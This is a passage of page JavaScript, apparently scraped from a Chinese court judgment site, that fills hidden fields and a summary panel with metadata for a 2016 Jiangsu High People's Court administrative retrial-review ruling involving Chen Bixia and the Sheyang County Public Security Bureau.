（2016）苏行申679号\");$(\"#hidDocID\").val(\"acd86bc3-6da1-4dc7-98a1-363caf8e7757\");$(\"#hidCaseName\").val(\"陈必霞与射阳县公安局行政处罚再审复查与审判监督行政裁定书\");$(\"#hidCaseNumber\").val(\"（2016）苏行申679号\");$(\"#hidCaseInfo\").val(caseinfo);$(\"#hidCourt\").val(\"江苏省高级人民法院\");$(\"#hidCaseType\").val(\"3\");$(\"#HidCourtID\").val(\"930\");$(\"#hidRequireLogin\").val(\"0\");});$(function(){var
dirData = {Elements: [\"RelateInfo\", \"LegalBase\"],RelateInfo: [{ name:
\"审理法院\", key: \"court\", value: \"江苏省高级人民法院\" },{ name: \"案件类型\", key:
\"caseType\", value: \"行政案件\" },{ name: \"行政管理范围\", key: \"reason\", value:
\"公安行政管理:治安管理(治安)\" },{ name: \"行政行为种类\", key: \"reason\", value: \"\" },{
name: \"审理程序\", key: \"trialRound\", value: \"再审审查与审判监督\" },{ name: \"裁判日期\",
key: \"trialDate\", value: \"2016-08-19\" },{ name: \"当事人\", key:
\"appellor\", value: \"陈必霞,射阳县公安局\" }],LegalBase:
[{法规名称:\'最高人民法院关于执行《中华人民共和国行政诉讼法》若干问题的解释\',Items:[{法条名称:\'第七十四条\',法条内容:\'
第七十四条 人民法院接到当事人的再审申请后，经审查，符合再审条件的，应当立案并及时通知各方当事人；不符合再审条件的，予以驳回。
\'}]}]};if
($(\"#divTool_Summary\").length > 0) {$(\"#divTool_Summary\").ContentSummary({
data: dirData });}});$(function() {\r\n var jsonHtmlData =
\"{\\\\\"Title\\\\\":\\\\\"陈必霞与射阳县公安局行政处罚再审复查与审判监督行政裁定书\\\\\",\\\\\"PubDate\\\\\":\\\\\"2016-12-28\\\\\",\\\\\